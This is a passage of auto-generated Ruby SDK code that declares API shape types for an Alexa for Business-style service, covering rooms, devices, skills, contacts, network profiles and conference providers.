BusinessReportS3Location = Shapes::StructureShape.new(name: 'BusinessReportS3Location') BusinessReportS3Path = Shapes::StringShape.new(name: 'BusinessReportS3Path') BusinessReportSchedule = Shapes::StructureShape.new(name: 'BusinessReportSchedule') BusinessReportScheduleList = Shapes::ListShape.new(name: 'BusinessReportScheduleList') BusinessReportScheduleName = Shapes::StringShape.new(name: 'BusinessReportScheduleName') BusinessReportStatus = Shapes::StringShape.new(name: 'BusinessReportStatus') Category = Shapes::StructureShape.new(name: 'Category') CategoryId = Shapes::IntegerShape.new(name: 'CategoryId') CategoryList = Shapes::ListShape.new(name: 'CategoryList') CategoryName = Shapes::StringShape.new(name: 'CategoryName') CertificateTime = Shapes::TimestampShape.new(name: 'CertificateTime') ClientId = Shapes::StringShape.new(name: 'ClientId') ClientRequestToken = Shapes::StringShape.new(name: 'ClientRequestToken') CommsProtocol = Shapes::StringShape.new(name: 'CommsProtocol') ConcurrentModificationException = Shapes::StructureShape.new(name: 'ConcurrentModificationException') ConferencePreference = Shapes::StructureShape.new(name: 'ConferencePreference') ConferenceProvider = Shapes::StructureShape.new(name: 'ConferenceProvider') ConferenceProviderName = Shapes::StringShape.new(name: 'ConferenceProviderName') ConferenceProviderType = Shapes::StringShape.new(name: 'ConferenceProviderType') ConferenceProvidersList = Shapes::ListShape.new(name: 'ConferenceProvidersList') ConnectionStatus = Shapes::StringShape.new(name: 'ConnectionStatus') ConnectionStatusUpdatedTime = Shapes::TimestampShape.new(name: 'ConnectionStatusUpdatedTime') Contact = Shapes::StructureShape.new(name: 'Contact') ContactData = Shapes::StructureShape.new(name: 'ContactData') ContactDataList = Shapes::ListShape.new(name: 'ContactDataList') ContactName = Shapes::StringShape.new(name: 'ContactName') Content = Shapes::StructureShape.new(name: 'Content') CountryCode = Shapes::StringShape.new(name: 'CountryCode') CreateAddressBookRequest = Shapes::StructureShape.new(name: 'CreateAddressBookRequest') CreateAddressBookResponse = Shapes::StructureShape.new(name: 'CreateAddressBookResponse') CreateBusinessReportScheduleRequest = Shapes::StructureShape.new(name: 'CreateBusinessReportScheduleRequest') CreateBusinessReportScheduleResponse = Shapes::StructureShape.new(name: 'CreateBusinessReportScheduleResponse') CreateConferenceProviderRequest = Shapes::StructureShape.new(name: 'CreateConferenceProviderRequest') CreateConferenceProviderResponse = Shapes::StructureShape.new(name: 'CreateConferenceProviderResponse') CreateContactRequest = Shapes::StructureShape.new(name: 'CreateContactRequest') CreateContactResponse = Shapes::StructureShape.new(name: 'CreateContactResponse') CreateEndOfMeetingReminder = Shapes::StructureShape.new(name: 'CreateEndOfMeetingReminder') CreateGatewayGroupRequest = Shapes::StructureShape.new(name: 'CreateGatewayGroupRequest') CreateGatewayGroupResponse = Shapes::StructureShape.new(name: 'CreateGatewayGroupResponse') CreateInstantBooking = Shapes::StructureShape.new(name: 'CreateInstantBooking') CreateMeetingRoomConfiguration = Shapes::StructureShape.new(name: 'CreateMeetingRoomConfiguration') CreateNetworkProfileRequest = Shapes::StructureShape.new(name: 'CreateNetworkProfileRequest') CreateNetworkProfileResponse = Shapes::StructureShape.new(name: 'CreateNetworkProfileResponse') CreateProfileRequest = Shapes::StructureShape.new(name: 'CreateProfileRequest') CreateProfileResponse = Shapes::StructureShape.new(name: 'CreateProfileResponse') CreateRequireCheckIn = Shapes::StructureShape.new(name: 'CreateRequireCheckIn') CreateRoomRequest = Shapes::StructureShape.new(name: 'CreateRoomRequest') CreateRoomResponse = Shapes::StructureShape.new(name: 'CreateRoomResponse') CreateSkillGroupRequest = Shapes::StructureShape.new(name: 'CreateSkillGroupRequest') CreateSkillGroupResponse = Shapes::StructureShape.new(name: 'CreateSkillGroupResponse') CreateUserRequest = Shapes::StructureShape.new(name: 'CreateUserRequest') CreateUserResponse = Shapes::StructureShape.new(name: 'CreateUserResponse') CurrentWiFiPassword = Shapes::StringShape.new(name: 'CurrentWiFiPassword') CustomerS3BucketName = Shapes::StringShape.new(name: 'CustomerS3BucketName') Date = Shapes::StringShape.new(name: 'Date') DeleteAddressBookRequest = Shapes::StructureShape.new(name: 'DeleteAddressBookRequest') DeleteAddressBookResponse = Shapes::StructureShape.new(name: 'DeleteAddressBookResponse') DeleteBusinessReportScheduleRequest = Shapes::StructureShape.new(name: 'DeleteBusinessReportScheduleRequest') DeleteBusinessReportScheduleResponse = Shapes::StructureShape.new(name: 'DeleteBusinessReportScheduleResponse') DeleteConferenceProviderRequest = Shapes::StructureShape.new(name: 'DeleteConferenceProviderRequest') DeleteConferenceProviderResponse = Shapes::StructureShape.new(name: 'DeleteConferenceProviderResponse') DeleteContactRequest = Shapes::StructureShape.new(name: 'DeleteContactRequest') DeleteContactResponse = Shapes::StructureShape.new(name: 'DeleteContactResponse') DeleteDeviceRequest = Shapes::StructureShape.new(name: 'DeleteDeviceRequest') DeleteDeviceResponse = Shapes::StructureShape.new(name: 'DeleteDeviceResponse') DeleteDeviceUsageDataRequest = Shapes::StructureShape.new(name: 'DeleteDeviceUsageDataRequest') DeleteDeviceUsageDataResponse = Shapes::StructureShape.new(name: 'DeleteDeviceUsageDataResponse') DeleteGatewayGroupRequest = Shapes::StructureShape.new(name: 'DeleteGatewayGroupRequest') DeleteGatewayGroupResponse = Shapes::StructureShape.new(name: 'DeleteGatewayGroupResponse') DeleteNetworkProfileRequest = Shapes::StructureShape.new(name: 'DeleteNetworkProfileRequest') DeleteNetworkProfileResponse = Shapes::StructureShape.new(name: 'DeleteNetworkProfileResponse') DeleteProfileRequest = Shapes::StructureShape.new(name: 'DeleteProfileRequest') DeleteProfileResponse = Shapes::StructureShape.new(name: 'DeleteProfileResponse') DeleteRoomRequest = Shapes::StructureShape.new(name: 'DeleteRoomRequest') DeleteRoomResponse = Shapes::StructureShape.new(name: 'DeleteRoomResponse') DeleteRoomSkillParameterRequest = Shapes::StructureShape.new(name: 'DeleteRoomSkillParameterRequest') DeleteRoomSkillParameterResponse = Shapes::StructureShape.new(name: 'DeleteRoomSkillParameterResponse') DeleteSkillAuthorizationRequest = Shapes::StructureShape.new(name: 'DeleteSkillAuthorizationRequest') DeleteSkillAuthorizationResponse = Shapes::StructureShape.new(name: 'DeleteSkillAuthorizationResponse') DeleteSkillGroupRequest = Shapes::StructureShape.new(name: 'DeleteSkillGroupRequest') DeleteSkillGroupResponse = Shapes::StructureShape.new(name: 'DeleteSkillGroupResponse') DeleteUserRequest = Shapes::StructureShape.new(name: 'DeleteUserRequest') DeleteUserResponse = Shapes::StructureShape.new(name: 'DeleteUserResponse') DeveloperInfo = Shapes::StructureShape.new(name: 'DeveloperInfo') DeveloperName = Shapes::StringShape.new(name: 'DeveloperName') Device = Shapes::StructureShape.new(name: 'Device') DeviceData = Shapes::StructureShape.new(name: 'DeviceData') DeviceDataCreatedTime = Shapes::TimestampShape.new(name: 'DeviceDataCreatedTime') DeviceDataList = Shapes::ListShape.new(name: 'DeviceDataList') DeviceEvent = Shapes::StructureShape.new(name: 'DeviceEvent') DeviceEventList = Shapes::ListShape.new(name: 'DeviceEventList') DeviceEventTime = Shapes::TimestampShape.new(name: 'DeviceEventTime') DeviceEventType = Shapes::StringShape.new(name: 'DeviceEventType') DeviceEventValue = Shapes::StringShape.new(name: 'DeviceEventValue') DeviceLocale = Shapes::StringShape.new(name: 'DeviceLocale') DeviceName = Shapes::StringShape.new(name: 'DeviceName') DeviceNetworkProfileInfo = Shapes::StructureShape.new(name: 'DeviceNetworkProfileInfo') DeviceNotRegisteredException = Shapes::StructureShape.new(name: 'DeviceNotRegisteredException') DeviceRoomName = Shapes::StringShape.new(name: 'DeviceRoomName') DeviceSerialNumber = Shapes::StringShape.new(name: 'DeviceSerialNumber') DeviceSerialNumberForAVS = Shapes::StringShape.new(name: 'DeviceSerialNumberForAVS') DeviceStatus = Shapes::StringShape.new(name: 'DeviceStatus') DeviceStatusDetail = Shapes::StructureShape.new(name: 'DeviceStatusDetail') DeviceStatusDetailCode = Shapes::StringShape.new(name: 'DeviceStatusDetailCode') DeviceStatusDetails = Shapes::ListShape.new(name: 'DeviceStatusDetails') DeviceStatusInfo = Shapes::StructureShape.new(name: 'DeviceStatusInfo') DeviceType = Shapes::StringShape.new(name: 'DeviceType') DeviceUsageType = Shapes::StringShape.new(name: 'DeviceUsageType') DisassociateContactFromAddressBookRequest = Shapes::StructureShape.new(name: 'DisassociateContactFromAddressBookRequest') DisassociateContactFromAddressBookResponse = Shapes::StructureShape.new(name: 'DisassociateContactFromAddressBookResponse') DisassociateDeviceFromRoomRequest = Shapes::StructureShape.new(name: 'DisassociateDeviceFromRoomRequest') DisassociateDeviceFromRoomResponse = Shapes::StructureShape.new(name: 'DisassociateDeviceFromRoomResponse') DisassociateSkillFromSkillGroupRequest = Shapes::StructureShape.new(name: 'DisassociateSkillFromSkillGroupRequest') DisassociateSkillFromSkillGroupResponse = Shapes::StructureShape.new(name: 'DisassociateSkillFromSkillGroupResponse') DisassociateSkillFromUsersRequest = Shapes::StructureShape.new(name: 'DisassociateSkillFromUsersRequest') DisassociateSkillFromUsersResponse = Shapes::StructureShape.new(name: 'DisassociateSkillFromUsersResponse') DisassociateSkillGroupFromRoomRequest = Shapes::StructureShape.new(name: 'DisassociateSkillGroupFromRoomRequest') DisassociateSkillGroupFromRoomResponse = Shapes::StructureShape.new(name: 'DisassociateSkillGroupFromRoomResponse') DistanceUnit = Shapes::StringShape.new(name: 'DistanceUnit') Email = Shapes::StringShape.new(name: 'Email') EnablementType = Shapes::StringShape.new(name: 'EnablementType') EnablementTypeFilter = Shapes::StringShape.new(name: 'EnablementTypeFilter') EndOfMeetingReminder = Shapes::StructureShape.new(name: 'EndOfMeetingReminder') EndOfMeetingReminderMinutesList = Shapes::ListShape.new(name: 'EndOfMeetingReminderMinutesList') EndOfMeetingReminderType = Shapes::StringShape.new(name: 'EndOfMeetingReminderType') EndUserLicenseAgreement = Shapes::StringShape.new(name: 'EndUserLicenseAgreement') Endpoint = Shapes::StringShape.new(name: 'Endpoint') EnrollmentId = Shapes::StringShape.new(name: 'EnrollmentId') EnrollmentStatus = Shapes::StringShape.new(name: 'EnrollmentStatus') ErrorMessage = Shapes::StringShape.new(name: 'ErrorMessage') Feature = Shapes::StringShape.new(name: 'Feature') Features = Shapes::ListShape.new(name: 'Features') Filter = Shapes::StructureShape.new(name: 'Filter') FilterKey = Shapes::StringShape.new(name: 'FilterKey') FilterList = Shapes::ListShape.new(name: 'FilterList') FilterValue = Shapes::StringShape.new(name: 'FilterValue') FilterValueList = Shapes::ListShape.new(name: 'FilterValueList') ForgetSmartHomeAppliancesRequest = Shapes::StructureShape.new(name: 'ForgetSmartHomeAppliancesRequest') ForgetSmartHomeAppliancesResponse = Shapes::StructureShape.new(name: 'ForgetSmartHomeAppliancesResponse') Gateway = Shapes::StructureShape.new(name: 'Gateway') GatewayDescription = Shapes::StringShape.new(name: 'GatewayDescription') GatewayGroup = Shapes::StructureShape.new(name: 'GatewayGroup') GatewayGroupDescription = Shapes::StringShape.new(name: 'GatewayGroupDescription') GatewayGroupName = Shapes::StringShape.new(name: 'GatewayGroupName') GatewayGroupSummaries = Shapes::ListShape.new(name: 'GatewayGroupSummaries') GatewayGroupSummary = Shapes::StructureShape.new(name: 'GatewayGroupSummary') GatewayName = Shapes::StringShape.new(name: 'GatewayName') GatewaySummaries = Shapes::ListShape.new(name: 'GatewaySummaries') GatewaySummary = Shapes::StructureShape.new(name: 'GatewaySummary') GatewayVersion = Shapes::StringShape.new(name: 'GatewayVersion') GenericKeyword = Shapes::StringShape.new(name: 'GenericKeyword') GenericKeywords = Shapes::ListShape.new(name: 'GenericKeywords') GetAddressBookRequest = Shapes::StructureShape.new(name: 'GetAddressBookRequest') GetAddressBookResponse = Shapes::StructureShape.new(name: 'GetAddressBookResponse') GetConferencePreferenceRequest = Shapes::StructureShape.new(name: 'GetConferencePreferenceRequest') GetConferencePreferenceResponse = Shapes::StructureShape.new(name: 'GetConferencePreferenceResponse') GetConferenceProviderRequest = Shapes::StructureShape.new(name: 'GetConferenceProviderRequest') GetConferenceProviderResponse = Shapes::StructureShape.new(name: 'GetConferenceProviderResponse') GetContactRequest = Shapes::StructureShape.new(name: 'GetContactRequest') GetContactResponse = Shapes::StructureShape.new(name: 'GetContactResponse') GetDeviceRequest = Shapes::StructureShape.new(name: 'GetDeviceRequest') GetDeviceResponse = Shapes::StructureShape.new(name: 'GetDeviceResponse') GetGatewayGroupRequest = Shapes::StructureShape.new(name: 'GetGatewayGroupRequest') GetGatewayGroupResponse = Shapes::StructureShape.new(name: 'GetGatewayGroupResponse') GetGatewayRequest = Shapes::StructureShape.new(name: 'GetGatewayRequest') GetGatewayResponse = Shapes::StructureShape.new(name: 'GetGatewayResponse') GetInvitationConfigurationRequest = Shapes::StructureShape.new(name: 'GetInvitationConfigurationRequest') GetInvitationConfigurationResponse = Shapes::StructureShape.new(name: 'GetInvitationConfigurationResponse') GetNetworkProfileRequest = Shapes::StructureShape.new(name: 'GetNetworkProfileRequest') GetNetworkProfileResponse = Shapes::StructureShape.new(name: 'GetNetworkProfileResponse') GetProfileRequest = Shapes::StructureShape.new(name: 'GetProfileRequest') GetProfileResponse = Shapes::StructureShape.new(name: 'GetProfileResponse') GetRoomRequest = Shapes::StructureShape.new(name: 'GetRoomRequest') GetRoomResponse = Shapes::StructureShape.new(name: 'GetRoomResponse') GetRoomSkillParameterRequest = Shapes::StructureShape.new(name: 'GetRoomSkillParameterRequest') GetRoomSkillParameterResponse = Shapes::StructureShape.new(name: 'GetRoomSkillParameterResponse') GetSkillGroupRequest = Shapes::StructureShape.new(name: 'GetSkillGroupRequest') GetSkillGroupResponse = Shapes::StructureShape.new(name: 'GetSkillGroupResponse') IPDialIn = Shapes::StructureShape.new(name: 'IPDialIn') IconUrl = Shapes::StringShape.new(name: 'IconUrl') InstantBooking = Shapes::StructureShape.new(name: 'InstantBooking') InvalidCertificateAuthorityException = Shapes::StructureShape.new(name: 'InvalidCertificateAuthorityException') InvalidDeviceException = Shapes::StructureShape.new(name: 'InvalidDeviceException') InvalidSecretsManagerResourceException = Shapes::StructureShape.new(name: 'InvalidSecretsManagerResourceException') InvalidServiceLinkedRoleStateException = Shapes::StructureShape.new(name: 'InvalidServiceLinkedRoleStateException') InvalidUserStatusException = Shapes::StructureShape.new(name: 'InvalidUserStatusException') InvocationPhrase = Shapes::StringShape.new(name: 'InvocationPhrase') Key = Shapes::StringShape.new(name: 'Key') LimitExceededException = Shapes::StructureShape.new(name: 'LimitExceededException') ListBusinessReportSchedulesRequest = Shapes::StructureShape.new(name: 'ListBusinessReportSchedulesRequest') ListBusinessReportSchedulesResponse = Shapes::StructureShape.new(name: 'ListBusinessReportSchedulesResponse') ListConferenceProvidersRequest = Shapes::StructureShape.new(name: 'ListConferenceProvidersRequest') ListConferenceProvidersResponse = Shapes::StructureShape.new(name: 'ListConferenceProvidersResponse') ListDeviceEventsRequest = Shapes::StructureShape.new(name: 'ListDeviceEventsRequest') ListDeviceEventsResponse = Shapes::StructureShape.new(name: 'ListDeviceEventsResponse') ListGatewayGroupsRequest = Shapes::StructureShape.new(name: 'ListGatewayGroupsRequest') ListGatewayGroupsResponse = Shapes::StructureShape.new(name: 'ListGatewayGroupsResponse') ListGatewaysRequest = Shapes::StructureShape.new(name: 'ListGatewaysRequest') ListGatewaysResponse = Shapes::StructureShape.new(name: 'ListGatewaysResponse') ListSkillsRequest = Shapes::StructureShape.new(name: 'ListSkillsRequest') ListSkillsResponse = Shapes::StructureShape.new(name: 'ListSkillsResponse') ListSkillsStoreCategoriesRequest = Shapes::StructureShape.new(name: 'ListSkillsStoreCategoriesRequest') ListSkillsStoreCategoriesResponse = Shapes::StructureShape.new(name: 'ListSkillsStoreCategoriesResponse') ListSkillsStoreSkillsByCategoryRequest = Shapes::StructureShape.new(name: 'ListSkillsStoreSkillsByCategoryRequest') ListSkillsStoreSkillsByCategoryResponse = Shapes::StructureShape.new(name: 'ListSkillsStoreSkillsByCategoryResponse') ListSmartHomeAppliancesRequest = Shapes::StructureShape.new(name: 'ListSmartHomeAppliancesRequest') ListSmartHomeAppliancesResponse = Shapes::StructureShape.new(name: 'ListSmartHomeAppliancesResponse') ListTagsRequest = Shapes::StructureShape.new(name: 'ListTagsRequest') ListTagsResponse = Shapes::StructureShape.new(name: 'ListTagsResponse') Locale = Shapes::StringShape.new(name: 'Locale') MacAddress = Shapes::StringShape.new(name: 'MacAddress') MaxResults = Shapes::IntegerShape.new(name: 'MaxResults') MaxVolumeLimit = Shapes::IntegerShape.new(name: 'MaxVolumeLimit') MeetingRoomConfiguration = Shapes::StructureShape.new(name: 'MeetingRoomConfiguration') MeetingSetting = Shapes::StructureShape.new(name: 'MeetingSetting') Minutes = Shapes::IntegerShape.new(name: 'Minutes') NameInUseException = Shapes::StructureShape.new(name: 'NameInUseException') NetworkEapMethod = Shapes::StringShape.new(name: 'NetworkEapMethod') NetworkProfile = Shapes::StructureShape.new(name: 'NetworkProfile') NetworkProfileData = Shapes::StructureShape.new(name: 'NetworkProfileData') NetworkProfileDataList = Shapes::ListShape.new(name: 'NetworkProfileDataList') NetworkProfileDescription = Shapes::StringShape.new(name: 'NetworkProfileDescription') NetworkProfileName = Shapes::StringShape.new(name: 'NetworkProfileName') NetworkSecurityType = Shapes::StringShape.new(name: 'NetworkSecurityType') NetworkSsid = Shapes::StringShape.new(name: 'NetworkSsid') NewInThisVersionBulletPoints = Shapes::ListShape.new(name: 'NewInThisVersionBulletPoints') NextToken = Shapes::StringShape.new(name: 'NextToken') NextWiFiPassword = Shapes::StringShape.new(name: 'NextWiFiPassword') NotFoundException = Shapes::StructureShape.new(name: 'NotFoundException') OneClickIdDelay = Shapes::StringShape.new(name: 'OneClickIdDelay') OneClickPinDelay = Shapes::StringShape.new(name: 'OneClickPinDelay') OrganizationName = Shapes::StringShape.new(name: 'OrganizationName') OutboundPhoneNumber = Shapes::StringShape.new(name: 'OutboundPhoneNumber') PSTNDialIn = Shapes::StructureShape.new(name: 'PSTNDialIn') PhoneNumber = Shapes::StructureShape.new(name: 'PhoneNumber') PhoneNumberList = Shapes::ListShape.new(name: 'PhoneNumberList') PhoneNumberType = Shapes::StringShape.new(name: 'PhoneNumberType') PrivacyPolicy = Shapes::StringShape.new(name: 'PrivacyPolicy') ProductDescription = Shapes::StringShape.new(name: 'ProductDescription') ProductId = Shapes::StringShape.new(name: 'ProductId') Profile = Shapes::StructureShape.new(name: 'Profile') ProfileData = Shapes::StructureShape.new(name: 'ProfileData') ProfileDataList = Shapes::ListShape.new(name: 'ProfileDataList') ProfileName = Shapes::StringShape.new(name: 'ProfileName') ProviderCalendarId = Shapes::StringShape.new(name: 'ProviderCalendarId') PutConferencePreferenceRequest = Shapes::StructureShape.new(name: 'PutConferencePreferenceRequest') PutConferencePreferenceResponse = Shapes::StructureShape.new(name: 'PutConferencePreferenceResponse') PutInvitationConfigurationRequest = Shapes::StructureShape.new(name: 'PutInvitationConfigurationRequest') PutInvitationConfigurationResponse = Shapes::StructureShape.new(name: 'PutInvitationConfigurationResponse') PutRoomSkillParameterRequest = Shapes::StructureShape.new(name: 'PutRoomSkillParameterRequest') PutRoomSkillParameterResponse = Shapes::StructureShape.new(name: 'PutRoomSkillParameterResponse') PutSkillAuthorizationRequest = Shapes::StructureShape.new(name: 'PutSkillAuthorizationRequest') PutSkillAuthorizationResponse = Shapes::StructureShape.new(name: 'PutSkillAuthorizationResponse') RawPhoneNumber = Shapes::StringShape.new(name: 'RawPhoneNumber') RegisterAVSDeviceRequest = Shapes::StructureShape.new(name: 'RegisterAVSDeviceRequest') RegisterAVSDeviceResponse = Shapes::StructureShape.new(name: 'RegisterAVSDeviceResponse') RejectSkillRequest = Shapes::StructureShape.new(name: 'RejectSkillRequest') RejectSkillResponse = Shapes::StructureShape.new(name: 'RejectSkillResponse') ReleaseDate = Shapes::StringShape.new(name: 'ReleaseDate') RequireCheckIn = Shapes::StructureShape.new(name: 'RequireCheckIn') RequirePin = Shapes::StringShape.new(name: 'RequirePin') ResolveRoomRequest = Shapes::StructureShape.new(name: 'ResolveRoomRequest') ResolveRoomResponse = Shapes::StructureShape.new(name: 'ResolveRoomResponse') ResourceAssociatedException = Shapes::StructureShape.new(name: 'ResourceAssociatedException') ResourceInUseException = Shapes::StructureShape.new(name: 'ResourceInUseException') ReviewKey = Shapes::StringShape.new(name: 'ReviewKey') ReviewValue = Shapes::StringShape.new(name: 'ReviewValue') Reviews = Shapes::MapShape.new(name: 'Reviews') RevokeInvitationRequest = Shapes::StructureShape.new(name: 'RevokeInvitationRequest') RevokeInvitationResponse = Shapes::StructureShape.new(name: 'RevokeInvitationResponse') Room = Shapes::StructureShape.new(name: 'Room') RoomData = Shapes::StructureShape.new(name: 'RoomData') RoomDataList = Shapes::ListShape.new(name: 'RoomDataList') RoomDescription = Shapes::StringShape.new(name: 'RoomDescription') RoomName = Shapes::StringShape.new(name: 'RoomName') RoomSkillParameter = Shapes::StructureShape.new(name: 'RoomSkillParameter') RoomSkillParameterKey = Shapes::StringShape.new(name: 'RoomSkillParameterKey') RoomSkillParameterValue = Shapes::StringShape.new(name: 'RoomSkillParameterValue') RoomSkillParameters = Shapes::ListShape.new(name: 'RoomSkillParameters') S3KeyPrefix = Shapes::StringShape.new(name: 'S3KeyPrefix') SampleUtterances = Shapes::ListShape.new(name: 'SampleUtterances') SearchAddressBooksRequest = Shapes::StructureShape.new(name: 'SearchAddressBooksRequest') SearchAddressBooksResponse = Shapes::StructureShape.new(name: 'SearchAddressBooksResponse') SearchContactsRequest = Shapes::StructureShape.new(name: 'SearchContactsRequest') SearchContactsResponse = Shapes::StructureShape.new(name: 'SearchContactsResponse') SearchDevicesRequest = Shapes::StructureShape.new(name: 'SearchDevicesRequest') SearchDevicesResponse = Shapes::StructureShape.new(name: 'SearchDevicesResponse') SearchNetworkProfilesRequest = Shapes::StructureShape.new(name: 'SearchNetworkProfilesRequest') SearchNetworkProfilesResponse = Shapes::StructureShape.new(name: 'SearchNetworkProfilesResponse') SearchProfilesRequest = Shapes::StructureShape.new(name: 'SearchProfilesRequest') SearchProfilesResponse = Shapes::StructureShape.new(name: 'SearchProfilesResponse') SearchRoomsRequest = Shapes::StructureShape.new(name: 'SearchRoomsRequest') SearchRoomsResponse = Shapes::StructureShape.new(name: 'SearchRoomsResponse') SearchSkillGroupsRequest = Shapes::StructureShape.new(name: 'SearchSkillGroupsRequest') SearchSkillGroupsResponse = Shapes::StructureShape.new(name: 'SearchSkillGroupsResponse') SearchUsersRequest = Shapes::StructureShape.new(name: 'SearchUsersRequest') SearchUsersResponse = Shapes::StructureShape.new(name: 'SearchUsersResponse') SendAnnouncementRequest = Shapes::StructureShape.new(name: 'SendAnnouncementRequest') SendAnnouncementResponse = Shapes::StructureShape.new(name: 'SendAnnouncementResponse') SendInvitationRequest = Shapes::StructureShape.new(name: 'SendInvitationRequest') SendInvitationResponse = Shapes::StructureShape.new(name: 'SendInvitationResponse') ShortDescription = Shapes::StringShape.new(name: 'ShortDescription') ShortSkillIdList = Shapes::ListShape.new(name: 'ShortSkillIdList') SipAddress = Shapes::StructureShape.new(name: 'SipAddress') SipAddressList = Shapes::ListShape.new(name: 'SipAddressList') SipType = Shapes::StringShape.new(name: 'SipType') SipUri = Shapes::StringShape.new(name: 'SipUri') SkillDetails = Shapes::StructureShape.new(name: 'SkillDetails') SkillGroup = Shapes::StructureShape.new(name: 'SkillGroup') SkillGroupData = Shapes::StructureShape.new(name: 'SkillGroupData') SkillGroupDataList = Shapes::ListShape.new(name: 'SkillGroupDataList') SkillGroupDescription = Shapes::StringShape.new(name: 'SkillGroupDescription') SkillGroupName = Shapes::StringShape.new(name: 'SkillGroupName') SkillId = Shapes::StringShape.new(name: 'SkillId') SkillListMaxResults = Shapes::IntegerShape.new(name: 'SkillListMaxResults') SkillName = Shapes::StringShape.new(name: 'SkillName') SkillNotLinkedException = Shapes::StructureShape.new(name: 'SkillNotLinkedException') SkillStoreType = Shapes::StringShape.new(name: 'SkillStoreType') SkillSummary = Shapes::StructureShape.new(name: 'SkillSummary') SkillSummaryList = Shapes::ListShape.new(name: 'SkillSummaryList') SkillType = Shapes::StringShape.new(name: 'SkillType') SkillTypeFilter = Shapes::StringShape.new(name: 'SkillTypeFilter') SkillTypes = Shapes::ListShape.new(name: 'SkillTypes') SkillsStoreSkill = Shapes::StructureShape.new(name: 'SkillsStoreSkill') SkillsStoreSkillList = Shapes::ListShape.new(name: 'SkillsStoreSkillList') SmartHomeAppliance = Shapes::StructureShape.new(name: 'SmartHomeAppliance') SmartHomeApplianceList = Shapes::ListShape.new(name: 'SmartHomeApplianceList') SoftwareVersion = Shapes::StringShape.new(name: 'SoftwareVersion') Sort = Shapes::StructureShape.new(name: 'Sort') SortKey = Shapes::StringShape.new(name: 'SortKey') SortList = Shapes::ListShape.new(name: 'SortList') SortValue = Shapes::StringShape.new(name: 'SortValue') Ssml = Shapes::StructureShape.new(name: 'Ssml') SsmlList = Shapes::ListShape.new(name: 'SsmlList') SsmlValue = Shapes::StringShape.new(name: 'SsmlValue') StartDeviceSyncRequest = Shapes::StructureShape.new(name: 'StartDeviceSyncRequest') StartDeviceSyncResponse = Shapes::StructureShape.new(name: 'StartDeviceSyncResponse') StartSmartHomeApplianceDiscoveryRequest = Shapes::StructureShape.new(name: 'StartSmartHomeApplianceDiscoveryRequest') StartSmartHomeApplianceDiscoveryResponse = Shapes::StructureShape.new(name: 'StartSmartHomeApplianceDiscoveryResponse') Tag = Shapes::StructureShape.new(name: 'Tag') TagKey = Shapes::StringShape.new(name: 'TagKey') TagKeyList = Shapes::ListShape.new(name: 'TagKeyList') TagList = Shapes::ListShape.new(name: 'TagList') TagResourceRequest = Shapes::StructureShape.new(name: 'TagResourceRequest') TagResourceResponse = Shapes::StructureShape.new(name: 'TagResourceResponse') TagValue = Shapes::StringShape.new(name: 'TagValue') TemperatureUnit = Shapes::StringShape.new(name: 'TemperatureUnit') Text = Shapes::StructureShape.new(name: 'Text') TextList = Shapes::ListShape.new(name: 'TextList') TextValue = Shapes::StringShape.new(name: 'TextValue') TimeToLiveInSeconds = Shapes::IntegerShape.new(name: 'TimeToLiveInSeconds') Timezone = Shapes::StringShape.new(name: 'Timezone') TotalCount = Shapes::IntegerShape.new(name: 'TotalCount') TrustAnchor = Shapes::StringShape.new(name: 'TrustAnchor') TrustAnchorList = Shapes::ListShape.new(name: 'TrustAnchorList') UnauthorizedException = Shapes::StructureShape.new(name: 'UnauthorizedException') UntagResourceRequest = Shapes::StructureShape.new(name: 'UntagResourceRequest') UntagResourceResponse = Shapes::StructureShape.new(name: 'UntagResourceResponse') UpdateAddressBookRequest = Shapes::StructureShape.new(name: 'UpdateAddressBookRequest') UpdateAddressBookResponse = Shapes::StructureShape.new(name: 'UpdateAddressBookResponse') UpdateBusinessReportScheduleRequest = Shapes::StructureShape.new(name: 'UpdateBusinessReportScheduleRequest') UpdateBusinessReportScheduleResponse = Shapes::StructureShape.new(name: 'UpdateBusinessReportScheduleResponse') UpdateConferenceProviderRequest = Shapes::StructureShape.new(name: 'UpdateConferenceProviderRequest') UpdateConferenceProviderResponse = Shapes::StructureShape.new(name: 'UpdateConferenceProviderResponse') UpdateContactRequest = Shapes::StructureShape.new(name: 'UpdateContactRequest') UpdateContactResponse = Shapes::StructureShape.new(name: 'UpdateContactResponse') UpdateDeviceRequest = Shapes::StructureShape.new(name: 'UpdateDeviceRequest') UpdateDeviceResponse = Shapes::StructureShape.new(name: 'UpdateDeviceResponse') UpdateEndOfMeetingReminder = Shapes::StructureShape.new(name: 'UpdateEndOfMeetingReminder') UpdateGatewayGroupRequest = Shapes::StructureShape.new(name: 'UpdateGatewayGroupRequest') UpdateGatewayGroupResponse = Shapes::StructureShape.new(name: 'UpdateGatewayGroupResponse') UpdateGatewayRequest = Shapes::StructureShape.new(name: 'UpdateGatewayRequest') UpdateGatewayResponse = Shapes::StructureShape.new(name: 'UpdateGatewayResponse') UpdateInstantBooking = Shapes::StructureShape.new(name: 'UpdateInstantBooking') UpdateMeetingRoomConfiguration = Shapes::StructureShape.new(name: 'UpdateMeetingRoomConfiguration') UpdateNetworkProfileRequest = Shapes::StructureShape.new(name: 'UpdateNetworkProfileRequest') UpdateNetworkProfileResponse = Shapes::StructureShape.new(name: 'UpdateNetworkProfileResponse') UpdateProfileRequest = Shapes::StructureShape.new(name: 'UpdateProfileRequest') UpdateProfileResponse = Shapes::StructureShape.new(name: 'UpdateProfileResponse') UpdateRequireCheckIn = Shapes::StructureShape.new(name: 'UpdateRequireCheckIn') UpdateRoomRequest = Shapes::StructureShape.new(name: 'UpdateRoomRequest') UpdateRoomResponse = Shapes::StructureShape.new(name: 'UpdateRoomResponse') UpdateSkillGroupRequest = Shapes::StructureShape.new(name: 'UpdateSkillGroupRequest') UpdateSkillGroupResponse = Shapes::StructureShape.new(name: 'UpdateSkillGroupResponse') Url = Shapes::StringShape.new(name: 'Url') UserCode = Shapes::StringShape.new(name: 'UserCode') UserData = Shapes::StructureShape.new(name: 'UserData') UserDataList = Shapes::ListShape.new(name: 'UserDataList') UserId = Shapes::StringShape.new(name: 'UserId') Utterance = Shapes::StringShape.new(name: 'Utterance') Value = Shapes::StringShape.new(name: 'Value') WakeWord = Shapes::StringShape.new(name: 'WakeWord') boolean = Shapes::BooleanShape.new(name: 'boolean') user_FirstName = Shapes::StringShape.new(name: 'user_FirstName') user_LastName = Shapes::StringShape.new(name: 'user_LastName') user_UserId = Shapes::StringShape.new(name: 'user_UserId') AddressBook.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "AddressBookArn")) AddressBook.add_member(:name, Shapes::ShapeRef.new(shape: AddressBookName, location_name: "Name")) 